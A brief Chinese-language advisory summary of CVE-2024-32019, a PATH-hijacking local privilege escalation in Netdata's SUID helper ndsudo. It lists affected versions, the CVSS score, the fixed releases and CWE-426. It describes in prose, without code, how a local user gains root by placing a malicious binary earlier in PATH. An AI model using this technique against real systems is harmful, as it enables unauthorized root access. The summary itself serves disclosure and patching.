CVE-2024-32019 是 Netdata 的 SUID 辅助程序 ndsudo 中的一个本地权限提升漏洞，它允许本地用户通过不受信任的搜索路径（PATH 劫持）以 root 身份执行任意程序。
问题在于 ndsudo 限制了命令名称，但使用调用者的 PATH 来解析这些命令，从而允许用户将恶意二进制文件放在 PATH 的更前面，并让 ndsudo 以 root 权限运行它。
它影响 Netdata Agent 版本 ≥ v1.45.0 且 < v1.45.3，以及 ≥ v1.44.0-60 且 < v1.45.0-169，CVSS v3.1 评分为 8.8（高危）。
缓解措施是升级到 v1.45.3 或 v1.45.0-169；该弱点对应 CWE-426（不受信任的搜索路径）。
